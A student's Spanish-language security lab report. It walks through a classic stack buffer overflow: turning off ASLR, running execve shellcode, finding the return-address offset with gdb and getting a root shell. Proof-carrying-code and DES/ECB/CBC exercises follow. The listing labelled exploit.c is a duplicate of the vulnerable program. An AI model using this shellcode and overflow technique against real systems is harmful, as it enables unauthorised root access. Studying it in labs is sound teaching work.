Trabajo Práctico 2
Seguridad Informática

Alumna:

Sullivan, Katherine

Universidad Nacional de Rosario

2023

1 Buffer Overflow

Apagando las contramedidas

Para empezar con el ataque, debemos apagar las contramedidas que se nos indican en el laboratorio.

```
[11/01/23]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

```
[11/01/23]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
```

Además correremos los archivos siguiendo las indicaciones de deshabilitar la *Stack Guard* y de habilitar la ejecución de stack con *execstack*.

Corriendo el shellcode

Para familiarizarnos con su funcionamiento, el laboratorio pone como tarea el correr el shellcode, así que eso hacemos

```
[11/01/23]seed@VM:~/Downloads$ cat call_shellcode.c
/* call_shellcode.c  */

/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
  "\x31\xc0"             /* xorl    %eax,%eax              */
  "\x50"                 /* pushl   %eax                   */
  "\x68""//sh"           /* pushl   $0x68732f2f            */
  "\x68""/bin"           /* pushl   $0x6e69622f            */
  "\x89\xe3"             /* movl    %esp,%ebx              */
  "\x50"                 /* pushl   %eax                   */
  "\x53"                 /* pushl   %ebx                   */
  "\x89\xe1"             /* movl    %esp,%ecx              */
  "\x99"                 /* cdq                            */
  "\xb0\x0b"             /* movb    $0x0b,%al              */
  "\xcd\x80"             /* int     $0x80                  */
;

int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   ((void(*)( ))buf)( );
}
[11/01/23]seed@VM:~/Downloads$ gcc -z execstack -o call_shellcode call_shellcode.c
[11/01/23]seed@VM:~/Downloads$ ./call_shellcode
$ ls
call_shellcode  call_shellcode.c  exploit.c  exploit.py  stack.c
$ cat stack.c
/* Vunlerable program: stack.c */
/* You can get this program from the lab's website */

#include <stdlib.h>
#include <stdio.h>
```

1.1 El programa vulnerable

Se nos provee el código de un programa vulnerable a un ataque de buffer overflow:

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 * Suggested value: between 0 and 400  */
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

     /* Change the size of the dummy array to randomize the parameters
       for this lab. Need to use the array at least once */
    char dummy[BUF_SIZE];  memset(dummy, 0, BUF_SIZE);

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

y se nos indica cambiarle los permisos para que ejecute como root, para que tenga más relevancia que la vulnerabilidad del programa sea explotada.

Explotando la vulnerabilidad

Ahora sí, pasamos a la parte interesante del laboratorio: realizar el ataque.

Lo que se nos propone hacer es explotar la vulnerabilidad en *bof* de stack.c creando un badfile específico en exploit.c:

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 * Suggested value: between 0 and 400  */
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

     /* Change the size of the dummy array to randomize the parameters
       for this lab. Need to use the array at least once */
    char dummy[BUF_SIZE];  memset(dummy, 0, BUF_SIZE);

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

En exploit.c tenemos un programa shellcode. Vamos a querer que este se pueda ejecutar cuando se ejecute stack.c dejando el código dentro de badfile.

¿Pero dónde lo deberíamos poner en badfile para que se ejecute?

Para lograr esto, lo que queremos hacer es poner en el espacio del return address de *bof*, la dirección donde empieza el codigo de la shellcode. Al código de shellcode lo vamos poner inmediatamente despues de la return address en la pila.

Queremos entonces que la pila tenga donde va la return address de bof (que en badfile será donde empieza el array más la distancia a la return address) la dirección de donde empieza shellcode (que por donde dijimos que lo ibamos a poner va a ser la dirección de la return address más 4 bytes -por el tamaño de la dirección-) e inmediatamente después pondremos el código de shellcode.

Primero, entonces, tenemos que averiguar la distancia a la return address desde el comienzo del array. La return address está a 4 bytes de la dirección de ebp. Por eso, para averiguarla nos valemos del código assembler de stack y vemos que el ebp se encuentra a 32 bytes por lo que la distancia a la return address es 36.

```
bof:
.LFB2:
        .cfi_startproc
        pushl   %ebp
        .cfi_def_cfa_offset 8
        .cfi_offset 5, -8
        movl    %esp, %ebp
        .cfi_def_cfa_register 5
        subl    $40, %esp
        subl    $8, %esp
        pushl   8(%ebp)
        leal    -32(%ebp), %eax
        pushl   %eax
        call    strcpy
        addl    $16, %esp
        movl    $1, %eax
        leave
        .cfi_restore 5
        .cfi_def_cfa 4, 4
        ret
        .cfi_endproc
```

Y segundo, tenemos que ver en qué dirección estaría el shellcode. Dijimos que a 4 bytes de la dirección de la return address y que la return address está a 4 bytes de ebp. Por lo tanto la dirección donde estaría la shellcode sería la dirección de ebp más 8 bytes. Si corremos gdb podemos ver la dirección de ebp y entonces obtener la dirección donde estaría el código de shellcode.

```
[11/09/23]seed@VM:~/Downloads$ gdb stack --quiet
Reading symbols from stack...done.
gdb-peda$ br bof
Breakpoint 1 at 0x80484f1: file stack.c, line 21.
gdb-peda$ r
Starting program: /home/seed/Downloads/stack

[----------------------------------registers-----------------------------------]
EAX: 0xbfffeb47 --> 0x90909090
EBX: 0x0
ECX: 0x804b0a0 --> 0x0
EDX: 0x205
ESI: 0xb7fba000 --> 0x1b1db0
EDI: 0xb7fba000 --> 0x1b1db0
EBP: 0xbfffeb08 --> 0xbfffed58 --> 0x0
ESP: 0xbfffeae0 --> 0xb7fe96eb (<_dl_fixup+11>: add    esi,0x15915)
EIP: 0x80484f1 (<bof+6>:        sub    esp,0x8)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
```

Entonces el código modificado quedaría con estos cambios.

```
    /* You need to fill the buffer with appropriate contents here */
    // por endianess cambiamos el orden de la direccion
    memcpy(buffer+36, "\x10\xeb\xff\xbf", 4);
    memcpy(buffer+40, shellcode, 24);
```

Y vemos que podemos realizar el ataque exitosamente.

```
[11/09/23]seed@VM:~/Downloads$ /home/seed/Downloads/stack
# whoami
root
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

2 PCC

A. Descripción del programa

Precondition: $r_0 :_m intlist \wedge r_1 :_m intlist \wedge tag(r_1) = 0 \wedge r_6 = 0$

```
1:        MOV r2 := r0
2:        MOV r3 := r1
3:        INV r2 :m intlist ∧ r3 :m intlist ∧ r6 = 0
4:  L1 :  LD r5 := m(r2 + 0)
5:        BEQ (r5 = r6) 7
6:        LD r4 := m(r2 + 2)
7:        ST m(r2 + 2) := r3
8:        MOV r3 := r2
9:        MOV r2 := r4
10:       JMP − 6
11:       INV r3 :m intlist
12: L2 :  MOV r0 := r3
13:       RET
```

Podemos entender el programa como un bucle entre las líneas L1 y L2, el cual se ejecuta hasta que la lista en r_2 queda vacía.

Lo almacenado en r_2 comienza siendo la lista argumento r_0, lo almacenado en r_3, una lista vacía y el funcionamiento dentro del bucle es el siguiente:

En r_4 se guarda la *tail* de la de la lista en r_2, mientras que se guarda como *next* del primer elemento de la lista r_2 a r_3, y luego, se pasa esa lista armada por el *head* de r_2 y r_3 a r_3, mientras que lo guardado en r_4 (la *tail*) pasa a r_2 y se repite el ciclo.

Esto, en resumen, lo que logra es que en r_3 se vaya reconstruyendo lo que había en la lista r_0 pero de manera inversa y esto es lo que devolverá la función.

El programa es una implementación de la función inverse para listas de enteros

B. Computación de la condición de verificación

$$VC_{13} = true$$

$$\begin{aligned} VC_{12} &= VC_{13}[r_3/r_0] \\ &= true \end{aligned}$$

$$VC_{11} = r_3 :_m intlist$$

$$\begin{aligned} VC_{10} &= VC_{10+(-6)-1} \\ &= VC_3 \\ &= r_2 :_m intlist \wedge r_3 :_m intlist \wedge (r_6 = 0) \end{aligned}$$

$$\begin{aligned} VC_9 &= VC_{10}[r_4/r_2] \\ &= r_4 :_m intlist \wedge r_3 :_m intlist \wedge (r_6 = 0) \end{aligned}$$

$$VC_8 = VC_9[r_2/r_3]$$
$$= r_4 :_m intlist \wedge r_2 :_m intlist \wedge (r_6 = 0)$$

$$VC_7 = VC_8[upd(m, r_2 + 2, r_3)/m] \wedge writable(r_2 + 2)$$
$$= r_4 :_{upd(m,r_2+2,r_3)} intlist \wedge r_2 :_{upd(m,r_2+2,r_3)} intlist \wedge (r_6 = 0) \wedge writable(r_2 + 2)$$

$$VC_6 = VC_7[m(r_2 + 2)/r_4] \wedge readable(r_2 + 2)$$
$$= m(r_2 + 2) :_{upd(m,r_2+2,r_3)} intlist$$
$$\wedge r_3 :_{upd(m,r_2+2,r_3)} intlist \wedge r_6 = 0 \wedge writable(r_2 + 2) \wedge readable(r_2 + 2)$$
$$= r_3 :_m intlist \wedge r_3 :_{upd(m,r_2+2,r_3)} intlist \wedge (r_6 = 0) \wedge writable(r_2 + 2) \wedge readable(r_2 + 2)$$

$$VC_5 = (r_5 = r_6 \rightarrow VC_{5+7-1}) \wedge (r_5 \neq r_6 \rightarrow VC_6)$$
$$= (r_5 = r_6 \rightarrow VC_{11}) \wedge (r_5 \neq r_6 \rightarrow VC_6)$$
$$= (r_5 = r_6 \rightarrow r_3 :_m intlist)$$
$$\wedge (r_5 \neq r_6 \rightarrow$$
$$r_3 :_m intlist \wedge r_3 :_{upd(m,r_2+2,r_3)} intlist \wedge (r_6 = 0) \wedge writable(r_2 + 2) \wedge readable(r_2 + 2))$$

$$VC_4 = VC_5[m(r_2 + 0)/r_5]$$
$$= (m(r_2 + 0) = r_6 \rightarrow r_3 :_m intlist)$$
$$\wedge (m(r_2 + 0) \neq r_6 \rightarrow$$
$$r_3 :_m intlist \wedge r_3 :_{upd(m,r_2+2,r_3)} intlist \wedge (r_6 = 0) \wedge writable(r_2 + 2) \wedge readable(r_2 + 2))$$

$$VC_3 = r_2 :_m intlist \wedge r_3 :_m intlist \wedge (r_6 = 0)$$

$$VC_2 = VC_3[r_1/r_3]$$
$$= r_2 :_m intlist \wedge r_1 :_m intlist \wedge (r_6 = 0)$$

$$VC_1 = VC_2[r_0/r_2]$$
$$= r_0 :_m intlist \wedge r_1 :_m intlist \wedge (r_6 = 0)$$

C. Modificación para listas ordenadas

Para poder condicionar que las listas estén ordenadas se podría imponer una condición $ordered\_intlist(v, m)$ formada con las fórmulas atómicas y las fórmulas del lenguaje presentadas en la sección 3.1.

Definamos $ordered\_intlist(v, m)$ como sigue:

$$ordered\_intlist(v, m) = v :_m intlist$$
$$\wedge (m(v) = 0$$
$$\vee (m(v) = 1 \wedge ordered\_intlist(m(v + 2), m) \wedge m(v + 1) \leq m(m(v + 2) + 1)))$$

Con esta definición los únicos cambios en el código que habría que hacer para que solo se tomen lisats ordenadas de input serían que en la precondición tendríamos:

$ordered\_intlist(r_0, m) \wedge ordered\_intlist(r_1, m) \wedge tag(r_1) = 0 \wedge r_6 = 0$

y en la instrucción 3 tendríamos:

INV $ordered\_intlist(r_2, m) \wedge r_3 :_m intlist \wedge r_6 = 0$

3 Criptografía

Ejercicio 2

Se nos solicita responder cómo funciona la desencriptación para DES con dos claves y qué vulnerabilidades podría tener este esquema.

La idea de utilizar más de una clave para aumentar la longitud efectiva de la clave en DES es la idea que se utiliza en el conocido Triple DES. Aunque este enfoque difiere al tener solo 2 claves, surge también de la vulnerabilidad frente a ataques por fuerza bruta que comienza a generar el solo contar con claves de 56 bits.

El mensaje se cifraría y luego se descifraría de la siguiente manera:

- Cifrado:
  - Paso 1: Se cifra el mensaje original con la primera clave (k1).
  - Paso 2: Se cifra el resultado del paso 1 con la segunda clave (k2).
- Descifrado:
  - Paso 1: Se descifra el mensaje con la segunda clave (k2).
  - Paso 2: Se descifra el resultado del paso 2 con la primera clave (k1).

La principal ventaja de este enfoque es que ofrece mayor seguridad debido a su mayor longitud de clave. Sin embargo, si un atacante tiene mucha memoria disponible, podría intentar realizar ataques de búsqueda exhaustiva almacenando todos los resultados intermedios de las claves intermedias en la fase de cifrado y lograr producir un ataque.

Si bien este nuevo enfoque ofrece cierta resistencia a este tipo de ataques (en especial respecto al DES original) debido a su longitud de clave efectiva, aún así, la seguridad depende de la complejidad y aleatoriedad de las claves utilizadas (por ejemplo, si se tomasen dos claves iguales sería equivalente a DES).

Ejercicio 6

Se nos solicita responder cuál es la diferencia entre los modos de operación ECB y CBC y cuál recomendaríamos para encriptar el contenido de una imagen en forma de mapa de bits.

Los modos de operación ECB (Electronic Codebook) y CBC (Cipher Block Chaining) son dos enfoques diferentes para cifrar datos mediante DES.

Mientras ECB divide el mensaje en bloques de datos fijos y cifra cada bloque de forma independiente utilizando la misma clave, haciendo que los bloques de cifrado sean independiente entre sí, el CBC introduce un vector de inicialización (IV) que se combina (con XOR) con el primer bloque de datos antes de cifrar y el bloque cifrado resultante se combina con el siguiente bloque de datos antes de cifrarlo, haciendo que cada bloque cifrado dependa del bloque anterior.

Esto produce que si bien ECB es más paralelizable, este puede revelar patrones en el texto original al existir la posibilidad de haber bloques idénticos que se cifren de la misma manera.

Por lo tanto la recomendación para encriptar una imagen en forma de mapa de bits sería el modo de operación CBC, puesto que en imágenes es bastante probable el encontrarse con bloques repetidos.